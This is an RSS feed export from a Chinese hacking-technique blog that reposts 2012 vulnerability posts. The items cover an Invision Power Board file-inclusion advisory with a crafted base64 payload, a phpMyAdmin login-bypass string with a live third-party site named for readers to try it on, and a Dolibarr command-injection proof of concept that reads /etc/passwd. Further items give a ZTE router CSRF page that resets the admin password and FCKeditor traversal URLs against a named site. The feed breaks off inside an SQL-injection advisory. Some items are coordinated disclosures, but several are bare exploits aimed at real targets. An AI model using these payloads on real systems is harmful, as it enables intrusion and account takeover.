<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/">
<channel>
<title>影子鹰安全网络-主站技术BLOG</title>
<link>http://www.cnyzy.cn</link>
<description>影子鹰安全网络-主站技术BLOG</description>
<language>zh-cn</language>
<webMaster>coolkawen@gmail.com</webMaster>
<pubDate></pubDate>
<copyright>Powered by L-Blog, Some Rights Reserved By Alpar</copyright>
<generator>Alpar Blog 2005</generator>
<image>
	<title>影子鹰安全网络-主站技术BLOG</title>
	<url>http://www.cnyzy.cn/images/logos.gif</url>
	<link>http://www.cnyzy.cn</link>
</image>
<item><link>http://www.cnyzy.cn/blogview.asp?logID=1841</link><title><![CDATA[Local File Inclusion in Invision Power Board 3.3.0]]></title><author>kawen</author><category>黑客攻防</category><description><![CDATA[<p id=fp>Author:&nbsp;Janek&nbsp;Vind&nbsp;&quot;waraxe&quot;<br>Date:&nbsp;12.&nbsp;April&nbsp;2012<br>Location:&nbsp;Estonia,&nbsp;Tartu<br>Web:&nbsp;<a href="http://www.waraxe.us/advisory-86.html" target="_blank">http://www.waraxe.us/advisory-86.html</a><br>CVE:&nbsp;<a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2226" target="_blank">http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2226</a></p>]]></description><content:encoded><![CDATA[<p id=fp>Author:&nbsp;Janek&nbsp;Vind&nbsp;&quot;waraxe&quot;<br>Date:&nbsp;12.&nbsp;April&nbsp;2012<br>Location:&nbsp;Estonia,&nbsp;Tartu<br>Web:&nbsp;<a href="http://www.waraxe.us/advisory-86.html" target="_blank">http://www.waraxe.us/advisory-86.html</a><br>CVE:&nbsp;<a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2226" target="_blank">http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2226</a><br><br>Description&nbsp;of&nbsp;vulnerable&nbsp;software:<br>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br>~~~~~~~<br><br>Invision&nbsp;Power&nbsp;Board&nbsp;(abbreviated&nbsp;IPB,&nbsp;IP.Board&nbsp;or&nbsp;IP&nbsp;Board)&nbsp;is&nbsp;an&nbsp;Internet<br>forum&nbsp;software&nbsp;produced&nbsp;by&nbsp;Invision&nbsp;Power&nbsp;Services,&nbsp;Inc.<br>It&nbsp;is&nbsp;written&nbsp;in&nbsp;PHP&nbsp;and&nbsp;primarily&nbsp;uses&nbsp;MySQL&nbsp;as&nbsp;a&nbsp;database&nbsp;management&nbsp;system,<br>although&nbsp;support&nbsp;for&nbsp;other&nbsp;database&nbsp;engines&nbsp;is&nbsp;available.<br><br>Vulnerable&nbsp;versions<br>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br>~~~~~~~<br><br>Affected&nbsp;are&nbsp;Invision&nbsp;Power&nbsp;Board&nbsp;versions&nbsp;3.3.0&nbsp;and&nbsp;3.2.3,&nbsp;older&nbsp;versions<br>may&nbsp;be&nbsp;vulnerable&nbsp;as&nbsp;well.<br><br>########################################################################<br>#######<br>1.&nbsp;Local&nbsp;File&nbsp;Inclusion&nbsp;in&nbsp;&quot;like.php&quot;&nbsp;function&nbsp;&quot;_unsubscribe&quot;<br>########################################################################<br>#######<br><br>CVE&nbsp;Information:<br>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br>~~~~~~~<br>The&nbsp;Common&nbsp;Vulnerabilities&nbsp;and&nbsp;Exposures&nbsp;(CVE)&nbsp;project&nbsp;has&nbsp;assigned&nbsp;the<br>name&nbsp;CVE-2012-2226&nbsp;to&nbsp;this&nbsp;issue.&nbsp;This&nbsp;is&nbsp;a&nbsp;candidate&nbsp;for&nbsp;inclusion&nbsp;in<br>the&nbsp;CVE&nbsp;list&nbsp;(<a href="http://cve.mitre.org/)" target="_blank">http://cve.mitre.org/)</a>,&nbsp;which&nbsp;standardizes&nbsp;names&nbsp;for<br>security&nbsp;problems.<br><br>Vulnerability&nbsp;Details:<br>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br>~~~~~~~<br>Reason:&nbsp;using&nbsp;unsanitized&nbsp;user&nbsp;submitted&nbsp;data&nbsp;for&nbsp;file&nbsp;operations<br>Attack&nbsp;vector:&nbsp;user&nbsp;submitted&nbsp;GET&nbsp;parameter&nbsp;&quot;key&quot;<br>Preconditions:<br>1.&nbsp;attacker&nbsp;must&nbsp;be&nbsp;logged&nbsp;in&nbsp;as&nbsp;valid&nbsp;user<br>2.&nbsp;PHP&nbsp;must&nbsp;be&nbsp;&lt;&nbsp;5.3.4&nbsp;for&nbsp;null-byte&nbsp;attacks&nbsp;to&nbsp;work<br>Result:&nbsp;remote&nbsp;file&nbsp;disclosure,&nbsp;php&nbsp;remote&nbsp;code&nbsp;execution<br><br>Source&nbsp;code&nbsp;snippet&nbsp;from&nbsp;vulnerable&nbsp;script&nbsp;&quot;like.php&quot;:<br>-----------------[&nbsp;source&nbsp;code&nbsp;start&nbsp;]---------------------------------<br>protected&nbsp;function&nbsp;_unsubscribe()<br>{<br>/*&nbsp;Fetch&nbsp;data&nbsp;*/<br>$key&nbsp;=&nbsp;trim(&nbsp;IPSText::base64_decode_urlSafe(&nbsp;$this-&gt;request[&#39;key&#39;]&nbsp;)&nbsp;);<br><br>list(&nbsp;$app,&nbsp;$area,&nbsp;$relId,&nbsp;$likeMemberId,&nbsp;$memberId,&nbsp;$email&nbsp;)&nbsp;=&nbsp;explode(&nbsp;&#39;;&#39;,&nbsp;$key&nbsp;);<br><br>/*&nbsp;Member?&nbsp;*/<br>if&nbsp;(&nbsp;!&nbsp;$this-&gt;memberData[&#39;member_id&#39;]&nbsp;)<br>{<br>$this-&gt;registry-&gt;output-&gt;showError(&nbsp;&#39;no_permission&#39;,&nbsp;&#39;pcgl-1&#39;&nbsp;);<br>}<br><br>if&nbsp;(&nbsp;!&nbsp;$app&nbsp;||&nbsp;!&nbsp;$area&nbsp;||&nbsp;!&nbsp;$relId&nbsp;)<br>{<br>$this-&gt;registry-&gt;output-&gt;showError(&nbsp;&#39;no_permission&#39;,&nbsp;&#39;pcgl-1&#39;&nbsp;);<br>}<br><br>if&nbsp;(&nbsp;(&nbsp;$memberId&nbsp;!=&nbsp;$likeMemberId&nbsp;)&nbsp;||&nbsp;(&nbsp;$memberId&nbsp;!=&nbsp;$this-&gt;memberData[&#39;member_id&#39;]&nbsp;)&nbsp;)<br>{<br>$this-&gt;registry-&gt;output-&gt;showError(&nbsp;&#39;no_permission&#39;,&nbsp;&#39;pcgl-2&#39;&nbsp;);<br>}<br><br>if&nbsp;(&nbsp;$email&nbsp;!=&nbsp;$this-&gt;memberData[&#39;email&#39;]&nbsp;)<br>{<br>$this-&gt;registry-&gt;output-&gt;showError(&nbsp;&#39;no_permission&#39;,&nbsp;&#39;pcgl-3&#39;&nbsp;);<br>}<br><br>/*&nbsp;Think&nbsp;we&#39;re&nbsp;safe...&nbsp;*/<br>$this-&gt;_like&nbsp;=&nbsp;classes_like::bootstrap(&nbsp;$app,&nbsp;$area&nbsp;);<br>-----------------[&nbsp;source&nbsp;code&nbsp;end&nbsp;]-----------------------------------<br><br>As&nbsp;seen&nbsp;above,&nbsp;user&nbsp;submitted&nbsp;parameter&nbsp;&quot;key&quot;&nbsp;is&nbsp;first&nbsp;base64&nbsp;decoded&nbsp;and&nbsp;then<br>splitted&nbsp;to&nbsp;six&nbsp;variables.&nbsp;After&nbsp;multiple&nbsp;checks&nbsp;function&nbsp;&quot;bootstrap()&quot;&nbsp;is&nbsp;called,<br>using&nbsp;unvalidated&nbsp;user&nbsp;submitted&nbsp;data&nbsp;for&nbsp;arguments.<br><br>Source&nbsp;code&nbsp;snippet&nbsp;from&nbsp;vulnerable&nbsp;script&nbsp;&quot;composite.php&quot;:<br>-----------------[&nbsp;source&nbsp;code&nbsp;start&nbsp;]---------------------------------<br>static&nbsp;public&nbsp;function&nbsp;bootstrap(&nbsp;$app=null,&nbsp;$area=null&nbsp;)<br>{<br>..<br>if(&nbsp;$area&nbsp;!=&nbsp;&#39;default&#39;&nbsp;)<br>{<br>$_file&nbsp;=&nbsp;IPSLib::getAppDir(&nbsp;$app&nbsp;)&nbsp;.&nbsp;&#39;/extensions/like/&#39;&nbsp;.&nbsp;$area&nbsp;.&nbsp;&#39;.php&#39;;<br>..<br>}<br>..<br>if&nbsp;(&nbsp;!&nbsp;is_file(&nbsp;$_file&nbsp;)&nbsp;)<br>{<br>..<br>throw&nbsp;new&nbsp;Exception(&nbsp;&quot;No&nbsp;like&nbsp;class&nbsp;available&nbsp;for&nbsp;$app&nbsp;-&nbsp;$area&quot;&nbsp;);<br>..<br>}<br>..<br>$classToLoad&nbsp;=&nbsp;IPSLib::loadLibrary(&nbsp;$_file,&nbsp;$_class,&nbsp;$app&nbsp;);<br>-----------------[&nbsp;source&nbsp;code&nbsp;end&nbsp;]-----------------------------------<br><br>We&nbsp;can&nbsp;see,&nbsp;that&nbsp;variable&nbsp;&quot;$_file&quot;&nbsp;is&nbsp;composed&nbsp;using&nbsp;unvalidated&nbsp;argument&nbsp;&quot;area&quot;.<br>Next&nbsp;there&nbsp;is&nbsp;check&nbsp;for&nbsp;file&nbsp;existence&nbsp;and&nbsp;in&nbsp;case&nbsp;of&nbsp;success&nbsp;next&nbsp;function,<br>&quot;loadLibrary&quot;,&nbsp;is&nbsp;called,&nbsp;using&nbsp;unvalidated&nbsp;argument&nbsp;&quot;$_file&quot;.<br><br>Source&nbsp;code&nbsp;snippet&nbsp;from&nbsp;vulnerable&nbsp;script&nbsp;&quot;core.php&quot;:<br>-----------------[&nbsp;source&nbsp;code&nbsp;start&nbsp;]---------------------------------<br>static&nbsp;public&nbsp;function&nbsp;loadLibrary(&nbsp;$filePath,&nbsp;$className,&nbsp;$app=&#39;core&#39;&nbsp;)<br>{<br>/*&nbsp;Get&nbsp;the&nbsp;class&nbsp;*/<br>if&nbsp;(&nbsp;$filePath&nbsp;!=&nbsp;&#39;&#39;&nbsp;)<br>{<br>require_once(&nbsp;$filePath&nbsp;);/*noLibHook*/<br>}<br>-----------------[&nbsp;source&nbsp;code&nbsp;end&nbsp;]-----------------------------------<br><br>As&nbsp;seen&nbsp;above,&nbsp;&quot;require_once&quot;&nbsp;function&nbsp;is&nbsp;used&nbsp;with&nbsp;unvalidated&nbsp;argument.<br><br>Test:&nbsp;we&nbsp;need&nbsp;to&nbsp;construct&nbsp;specific&nbsp;base64&nbsp;encoded&nbsp;payload.<br>First,&nbsp;semicolon-separated&nbsp;string:<br><br>forums;/../../test;1;1;1;come2waraxe&nbsp;(at)&nbsp;yahoo&nbsp;(dot)&nbsp;com&nbsp;[email&nbsp;concealed]<br><br>Email&nbsp;address&nbsp;and&nbsp;other&nbsp;components&nbsp;must&nbsp;be&nbsp;valid&nbsp;for&nbsp;successful&nbsp;test.<br><br>After&nbsp;base64&nbsp;encoding:<br><br>Zm9ydW1zOy8uLi8uLi90ZXN0OzE7MTsxO2NvbWUyd2FyYXhlQHlhaG9vLmNvbQ<br><br>Now&nbsp;let&#39;s&nbsp;log&nbsp;in&nbsp;as&nbsp;valid&nbsp;user&nbsp;and&nbsp;then&nbsp;issue&nbsp;GET&nbsp;request:<br><br><a href="http://localhost/ipb330/index.php?app=core&amp;module=global&amp;section=like" target="_blank">http://localhost/ipb330/index.php?app=core&amp;module=global&amp;section=like</a><br>&amp;do=unsubscribe&amp;key=Zm9ydW1zOy8uLi8uLi90ZXN0OzE7MTsxO2NvbWUyd2FyYXhlQHlh<br>aG9vLmNvbQ<br><br>Result:<br><br>Fatal&nbsp;error:&nbsp;Uncaught&nbsp;exception&nbsp;&#39;Exception&#39;&nbsp;with&nbsp;message&nbsp;&#39;No&nbsp;like&nbsp;class&nbsp;available<br>for&nbsp;forums&nbsp;-&nbsp;/../../test&#39;&nbsp;in&nbsp;C:\apache_www\ipb330\admin\sources\classes\like\composite.php:333<br>Stack&nbsp;trace:&nbsp;#0&nbsp;C:\apache_www\ipb330\admin\applications\core\modules_public\global\like.<br>php(131):<br>classes_like::bootstrap(&#39;forums&#39;,&nbsp;&#39;/../../test&#39;)<br>#1&nbsp;C:\apache_www\ipb330\admin\applications\core\modules_public\global\like.<br>php(44):<br>public_core_global_like-&gt;_unsubscribe()<br>#2&nbsp;C:\apache_www\ipb330\admin\sources\base\ipsController.php(306):<br>public_core_global_like-&gt;doExecute(Object(ipsRegistry))&nbsp;#3<br>C:\apache_www\ipb330\admin\sources\base\ipsController.php(120):&nbsp;ipsCommand-&gt;execute(Object(ipsRegistry))<br>#4&nbsp;C:\apache_www\ipb330\admin\sources\base\ipsController.php(65):&nbsp;ipsController-&gt;handleRequest()<br>#5&nbsp;C:\apache_www\ipb330\index.php(26):&nbsp;ipsController::run()<br>#6&nbsp;{main}&nbsp;thrown&nbsp;in&nbsp;C:\apache_www\ipb330\admin\sources\classes\like\composite.php&nbsp;on&nbsp;line&nbsp;333<br><br>Potential&nbsp;attack&nbsp;scenario:<br><br>1.&nbsp;Attacker&nbsp;registers&nbsp;to&nbsp;target&nbsp;forum&nbsp;and&nbsp;logs&nbsp;in&nbsp;as&nbsp;valid&nbsp;user<br>2.&nbsp;Attacker&nbsp;uploads&nbsp;avatar&nbsp;picture&nbsp;with&nbsp;malicious&nbsp;php&nbsp;code&nbsp;to&nbsp;target&nbsp;server<br>3.&nbsp;Attacker&nbsp;issues&nbsp;carefully&nbsp;crafted&nbsp;GET&nbsp;or&nbsp;POST&nbsp;request&nbsp;and&nbsp;as&nbsp;result&nbsp;gets&nbsp;php&nbsp;level&nbsp;access<br><br>There&nbsp;are&nbsp;many&nbsp;other&nbsp;ways&nbsp;to&nbsp;exploit&nbsp;LFI&nbsp;(Local&nbsp;File&nbsp;Inclusion)&nbsp;vulnerabilities,<br>for&nbsp;example&nbsp;by&nbsp;using&nbsp;procfs&nbsp;(&quot;proc/self/environ&quot;)&nbsp;on&nbsp;*nix&nbsp;platforms.<br><br>How&nbsp;to&nbsp;fix:<br>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br>~~~~~<br><br>Update&nbsp;to&nbsp;new&nbsp;version&nbsp;3.3.1<br><br><a href="http://community.invisionpower.com/topic/360518-ipboard-331-ipblog-252-i" target="_blank">http://community.invisionpower.com/topic/360518-ipboard-331-ipblog-252-i</a><br>pseo-152-and-updates-for-ipboard-32x-ipgallery-42x-released/<br><br>Disclosure&nbsp;Timeline:<br>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br>~~~~~<br><br>27.03.2012&nbsp;Developers&nbsp;contacted&nbsp;via&nbsp;email<br>28.03.2012&nbsp;Developers&nbsp;confirmed&nbsp;upcoming&nbsp;patch<br>11.04.2012&nbsp;Developers&nbsp;announced&nbsp;new&nbsp;version&nbsp;release<br>12.04.2012&nbsp;Advisory&nbsp;released<br><br>Contact:<br>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br>~~~~~~~<br><br>come2waraxe&nbsp;(at)&nbsp;yahoo&nbsp;(dot)&nbsp;com&nbsp;[email&nbsp;concealed]<br>Janek&nbsp;Vind&nbsp;&quot;waraxe&quot;<br><br>Waraxe&nbsp;forum:&nbsp;<a href="http://www.waraxe.us/forums.html" target="_blank">http://www.waraxe.us/forums.html</a><br>Personal&nbsp;homepage:&nbsp;<a href="http://www.janekvind.com/" target="_blank">http://www.janekvind.com/</a><br>Random&nbsp;project:&nbsp;<a href="http://albumnow.com/" target="_blank">http://albumnow.com/</a><br></p>]]></content:encoded><guid>http://www.cnyzy.cn/blogview.asp?logID=1841</guid><trackback:ping>http://www.cnyzy.cn/trackback.asp?tbID=1841</trackback:ping><comments>http://www.cnyzy.cn/blogview.asp?logID=1841#comment</comments><wfw:commentRss>http://www.cnyzy.cn/blogfeed.asp?logID=1841</wfw:commentRss></item><item><link>http://www.cnyzy.cn/blogview.asp?logID=1840</link><title><![CDATA[PHPmyadmin 2.11.4万能密码漏洞]]></title><author>kawen</author><category>黑客攻防</category><description><![CDATA[<p id=fp>PHPmyadmin&nbsp;2.11.4<br><br>PHPmyadmin&nbsp;2.11.3<br><br>两个版本都有此漏洞</p>]]></description><content:encoded><![CDATA[<p id=fp>PHPmyadmin&nbsp;2.11.4<br><br>PHPmyadmin&nbsp;2.11.3<br><br>两个版本都有此漏洞<br><br>我去测试了一下&nbsp;确实可以用。。。<br><br>给你找到一个测试网址<a href="http://www.hitag.cn" target="_blank">http://www.hitag.cn</a><br><br>你们可以试一下<br><br>只需要输入账号&nbsp;&nbsp;密码不需要输入<br><br>利用代码如下：<br>‘localhost’@&#39;@”<br></p>]]></content:encoded><guid>http://www.cnyzy.cn/blogview.asp?logID=1840</guid><trackback:ping>http://www.cnyzy.cn/trackback.asp?tbID=1840</trackback:ping><comments>http://www.cnyzy.cn/blogview.asp?logID=1840#comment</comments><wfw:commentRss>http://www.cnyzy.cn/blogfeed.asp?logID=1840</wfw:commentRss></item><item><link>http://www.cnyzy.cn/blogview.asp?logID=1839</link><title><![CDATA[Dolibarr ERP & CRM OS Command Injection]]></title><author>kawen</author><category>黑客攻防</category><description><![CDATA[<p id=fp>Dolibarr&nbsp;ERP&nbsp;&amp;&nbsp;CRM&nbsp;OS&nbsp;Command&nbsp;Injection&nbsp;&nbsp;<br><br>===================================&nbsp;&nbsp;<br><br>&nbsp;&nbsp;&nbsp;</p>]]></description><content:encoded><![CDATA[<p id=fp>Dolibarr&nbsp;ERP&nbsp;&amp;&nbsp;CRM&nbsp;OS&nbsp;Command&nbsp;Injection&nbsp;&nbsp;<br><br>===================================&nbsp;&nbsp;<br><br>&nbsp;&nbsp;&nbsp;<br><br>1.&nbsp;Advisory&nbsp;Information&nbsp;&nbsp;<br><br>Date&nbsp;published:&nbsp;2012-4-6&nbsp;&nbsp;<br><br>Vendors&nbsp;contacted:&nbsp;Dolibarr&nbsp;&nbsp;<br><br>Release&nbsp;mode:&nbsp;Coordinated&nbsp;release&nbsp;&nbsp;<br><br>&nbsp;&nbsp;&nbsp;<br><br>2.&nbsp;Vulnerability&nbsp;Information&nbsp;&nbsp;<br><br>Class:&nbsp;Injection&nbsp;&nbsp;<br><br>Remotely&nbsp;Exploitable:&nbsp;Yes&nbsp;&nbsp;<br><br>Locally&nbsp;Exploitable:&nbsp;Yes&nbsp;&nbsp;<br><br>&nbsp;&nbsp;&nbsp;<br><br>3.&nbsp;Software&nbsp;Description&nbsp;&nbsp;<br><br>Dolibarr&nbsp;ERP&nbsp;&amp;&nbsp;CRM&nbsp;is&nbsp;a&nbsp;modern&nbsp;web&nbsp;software&nbsp;to&nbsp;manage&nbsp;your&nbsp;activity&nbsp;(contacts,&nbsp;invoices,&nbsp;orders,&nbsp;stocks,&nbsp;agenda,&nbsp;etc...).&nbsp;It&#39;s&nbsp;an&nbsp;opensource&nbsp;and&nbsp;free&nbsp;software&nbsp;designed&nbsp;for&nbsp;small&nbsp;companies,&nbsp;foundations&nbsp;and&nbsp;freelances.&nbsp;&nbsp;<br><br>&nbsp;&nbsp;&nbsp;<br><br>4.&nbsp;Vulnerability&nbsp;Description&nbsp;&nbsp;<br><br>Injection&nbsp;flaws,&nbsp;such&nbsp;as&nbsp;SQL,&nbsp;OS,&nbsp;and&nbsp;LDAP&nbsp;injection,&nbsp;occur&nbsp;when&nbsp;untrusted&nbsp;data&nbsp;is&nbsp;sent&nbsp;to&nbsp;an&nbsp;interpreter&nbsp;as&nbsp;part&nbsp;of&nbsp;a&nbsp;command&nbsp;or&nbsp;query.&nbsp;The&nbsp;attacker�s&nbsp;hostile&nbsp;data&nbsp;can&nbsp;trick&nbsp;the&nbsp;interpreter&nbsp;into&nbsp;executing&nbsp;unintended&nbsp;commands&nbsp;or&nbsp;accessing&nbsp;unauthorized&nbsp;data.&nbsp;&nbsp;<br><br>&nbsp;&nbsp;&nbsp;<br><br>5.&nbsp;Vulnerable&nbsp;packages&nbsp;&nbsp;<br><br>Dolibarr&nbsp;&lt;=&nbsp;3.1.1&nbsp;&nbsp;<br><br>Dolibarr&nbsp;&lt;=&nbsp;3.2.0&nbsp;&nbsp;<br><br>&nbsp;&nbsp;&nbsp;<br><br>6.&nbsp;Non-vulnerable&nbsp;packages&nbsp;&nbsp;<br><br>Vendor&nbsp;said&nbsp;that&nbsp;the&nbsp;vulnerability&nbsp;was&nbsp;fixed&nbsp;in&nbsp;Development&nbsp;version&nbsp;of&nbsp;3.2.X&nbsp;branch.&nbsp;However,&nbsp;the&nbsp;fix&nbsp;for&nbsp;3.1.X&nbsp;branch&nbsp;will&nbsp;be&nbsp;published&nbsp;by&nbsp;June.&nbsp;Vendor&nbsp;accepted&nbsp;the&nbsp;public&nbsp;disclosure&nbsp;of&nbsp;this&nbsp;vulnerability.&nbsp;&nbsp;<br><br>&nbsp;&nbsp;&nbsp;<br><br>7.&nbsp;Credits&nbsp;&nbsp;<br><br>This&nbsp;vulnerability&nbsp;was&nbsp;discovered&nbsp;by&nbsp;Nahuel&nbsp;Grisolia&nbsp;&nbsp;&nbsp;<br><br>(&nbsp;nahuel&nbsp;@&nbsp;cintainfinita.com.ar&nbsp;)&nbsp;&nbsp;<br><br>&nbsp;&nbsp;&nbsp;<br><br>8.&nbsp;Technical&nbsp;Description&nbsp;&nbsp;<br><br>8.1.&nbsp;OS&nbsp;Command&nbsp;Injection&nbsp;�&nbsp;PoC&nbsp;Example&nbsp;&nbsp;<br><br>CVSSv2&nbsp;Score:&nbsp;8.5&nbsp;(AV:N/AC:M/Au:S/C:C/I:C/A:C)&nbsp;&nbsp;<br><br>Dolibarr&nbsp;is&nbsp;prone&nbsp;to&nbsp;remote&nbsp;command&nbsp;execution&nbsp;vulnerability&nbsp;because&nbsp;the&nbsp;software&nbsp;fails&nbsp;to&nbsp;adequately&nbsp;sanitize&nbsp;user-supplied&nbsp;input.&nbsp;&nbsp;<br><br>A&nbsp;command&nbsp;injection&nbsp;attack&nbsp;can&nbsp;be&nbsp;executed&nbsp;if&nbsp;specially&nbsp;crafted&nbsp;parameters&nbsp;are&nbsp;sent.&nbsp;&nbsp;&nbsp;<br><br>Successful&nbsp;attacks&nbsp;can&nbsp;compromise&nbsp;the&nbsp;affected&nbsp;Web&nbsp;Server&nbsp;and&nbsp;its&nbsp;software.&nbsp;&nbsp;<br><br>The&nbsp;following&nbsp;proof&nbsp;of&nbsp;concept&nbsp;is&nbsp;given:&nbsp;&nbsp;<br><br>POST&nbsp;/dolibarr/admin/tools/export.php&nbsp;HTTP/1.1&nbsp;&nbsp;<br><br>[�]&nbsp;&nbsp;<br><br>Cookie:&nbsp;DOLSESSID_[�]=[�]&nbsp;&nbsp;<br><br>&nbsp;&nbsp;&nbsp;<br><br>token=[...]&amp;export_type=server&amp;what=mysql&amp;mysqldump=%2Fusr%2Fbin%2Fmysqldump&amp;use_transaction=yes&amp;disable_fk=yes&amp;sql_compat=;cat&nbsp;&nbsp;<br><br>/etc/passwd&nbsp;&gt;&nbsp;/tmp/cintainfinitapasswd;&amp;sql_structure=structure&amp;drop=1&amp;sql_data=data&amp;showcolumns=yes&amp;extended_ins=yes&amp;delayed=yes&amp;sql_ignore=yes&amp;hexforbinary=yes&amp;filename_template=mysqldump_dolibarrdebian_3.1.1_201203231716.sql&amp;compression=none&nbsp;&nbsp;<br><br>&nbsp;&nbsp;&nbsp;<br><br>&nbsp;&nbsp;&nbsp;<br><br>9.&nbsp;Report&nbsp;Timeline&nbsp;&nbsp;<br><br>*&nbsp;2012-03-26&nbsp;/&nbsp;Vendor&nbsp;notification&nbsp;&nbsp;<br><br>*&nbsp;2012-03-27&nbsp;/&nbsp;Vulnerability&nbsp;details&nbsp;sent&nbsp;to&nbsp;Vendor&nbsp;&nbsp;<br><br>*&nbsp;2012-03-27&nbsp;/&nbsp;Vendor&nbsp;fix&nbsp;�&nbsp;See&nbsp;6.&nbsp;Non-vulnerable&nbsp;packages&nbsp;&nbsp;<br><br>*&nbsp;2012-04-06&nbsp;/&nbsp;Public&nbsp;Disclosure&nbsp;�&nbsp;PoC&nbsp;attached&nbsp;<br></p>]]></content:encoded><guid>http://www.cnyzy.cn/blogview.asp?logID=1839</guid><trackback:ping>http://www.cnyzy.cn/trackback.asp?tbID=1839</trackback:ping><comments>http://www.cnyzy.cn/blogview.asp?logID=1839#comment</comments><wfw:commentRss>http://www.cnyzy.cn/blogfeed.asp?logID=1839</wfw:commentRss></item><item><link>http://www.cnyzy.cn/blogview.asp?logID=1838</link><title><![CDATA[ZTE Change admin password]]></title><author>kawen</author><category>黑客攻防</category><description><![CDATA[<p id=fp>&lt;html&gt;&nbsp;&nbsp;<br><br>&lt;body&nbsp;onload=&quot;javascript:document.forms[0].submit()&quot;&gt;&nbsp;&nbsp;<br><br>&lt;H2&gt;Exploit&nbsp;By&nbsp;Nuevo&nbsp;Asesino&nbsp;&lt;/H2&gt;&nbsp;&nbsp;</p>]]></description><content:encoded><![CDATA[<p id=fp>&lt;html&gt;&nbsp;&nbsp;<br><br>&lt;body&nbsp;onload=&quot;javascript:document.forms[0].submit()&quot;&gt;&nbsp;&nbsp;<br><br>&lt;H2&gt;Exploit&nbsp;By&nbsp;Nuevo&nbsp;Asesino&nbsp;&lt;/H2&gt;&nbsp;&nbsp;<br><br>&lt;form&nbsp;method=&quot;POST&quot;&nbsp;name=&quot;form0&quot;&nbsp;action=&quot;http:\192.168.1.1\accessaccount.cgi?sysPassword=123456&quot;&gt;&nbsp;&nbsp;<br><br>&lt;/form&gt;&nbsp;&nbsp;<br><br>&lt;/body&gt;&nbsp;&nbsp;<br><br>&lt;/html&gt;&nbsp;&nbsp;<br></p>]]></content:encoded><guid>http://www.cnyzy.cn/blogview.asp?logID=1838</guid><trackback:ping>http://www.cnyzy.cn/trackback.asp?tbID=1838</trackback:ping><comments>http://www.cnyzy.cn/blogview.asp?logID=1838#comment</comments><wfw:commentRss>http://www.cnyzy.cn/blogfeed.asp?logID=1838</wfw:commentRss></item><item><link>http://www.cnyzy.cn/blogview.asp?logID=1837</link><title><![CDATA[将博 CMS Powered by JumbotCms 漏洞]]></title><author>kawen</author><category>黑客攻防</category><description><![CDATA[<p id=fp><br>程序版本：3.1.3.3&nbsp;<br><br><br>利用方式：&nbsp;</p>]]></description><content:encoded><![CDATA[<p id=fp><br>程序版本：3.1.3.3&nbsp;<br><br><br>利用方式：&nbsp;<br><br>利用IIS6.0解析漏洞&nbsp;<br><br><a href="http://www.hackqing.com/cmsfile/fckeditor/editor/filemanager/browser/default/connectors/test.htm&nbsp;" target="_blank">http://www.hackqing.com/cmsfile/fckeditor/editor/filemanager/browser/default/connectors/test.htm&nbsp;</a><br><br><br>遍历目录漏洞&nbsp;<br><br><a href="http://www.hackqing.com/cmsfile/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&amp;Type=Image&amp;CurrentFolder=../../&nbsp;" target="_blank">http://www.hackqing.com/cmsfile/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&amp;Type=Image&amp;CurrentFolder=../../&nbsp;</a><br></p>]]></content:encoded><guid>http://www.cnyzy.cn/blogview.asp?logID=1837</guid><trackback:ping>http://www.cnyzy.cn/trackback.asp?tbID=1837</trackback:ping><comments>http://www.cnyzy.cn/blogview.asp?logID=1837#comment</comments><wfw:commentRss>http://www.cnyzy.cn/blogfeed.asp?logID=1837</wfw:commentRss></item><item><link>http://www.cnyzy.cn/blogview.asp?logID=1836</link><title><![CDATA['e-ticketing' SQL Injection (CVE-2012-1673)]]></title><author>kawen</author><category>黑客攻防</category><description><![CDATA[<p id=fp>&#39;&#39;e-ticketing&#39;&#39;&nbsp;SQL&nbsp;Injection&nbsp;(CVE-2012-1673)&nbsp;&nbsp;<br><br>Mark&nbsp;Stanislav&nbsp;-&nbsp;mark.stanislav@gmail.com&nbsp;&nbsp;<br><br>&nbsp;&nbsp;&nbsp;</p>]]></description><content:encoded><![CDATA[<p id=fp>&#39;e-ticketing&#39;&nbsp;SQL&nbsp;Injection&nbsp;(CVE-2012-1673)&nbsp;&nbsp;<br><br>Mark&nbsp;Stanislav&nbsp;-&nbsp;mark.stanislav@gmail.com&nbsp;&nbsp;<br><br>&nbsp;&nbsp;&nbsp;<br><br>&nbsp;&nbsp;&nbsp;<br><br>I.&nbsp;DESCRIPTION&nbsp;&nbsp;<br><br>---------------------------------------&nbsp;&nbsp;<br><br>A&nbsp;vulnerability&nbsp;exists&nbsp;in&nbsp;loginscript.php&nbsp;that&nbsp;allows&nbsp;for&nbsp;SQL&nbsp;injection&nbsp;of&nbsp;the&nbsp;&#39;user_name&#39;&nbsp;and&nbsp;&#39;password&#39;&nbsp;POST&nbsp;parameters.&nbsp;&nbsp;<br><br>&nbsp;&nbsp;&nbsp;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;<br><br>II.&nbsp;TESTED&nbsp;VERSION&nbsp;&nbsp;<br><br>---------------------------------------&nbsp;&nbsp;<br><br>Released&nbsp;on&nbsp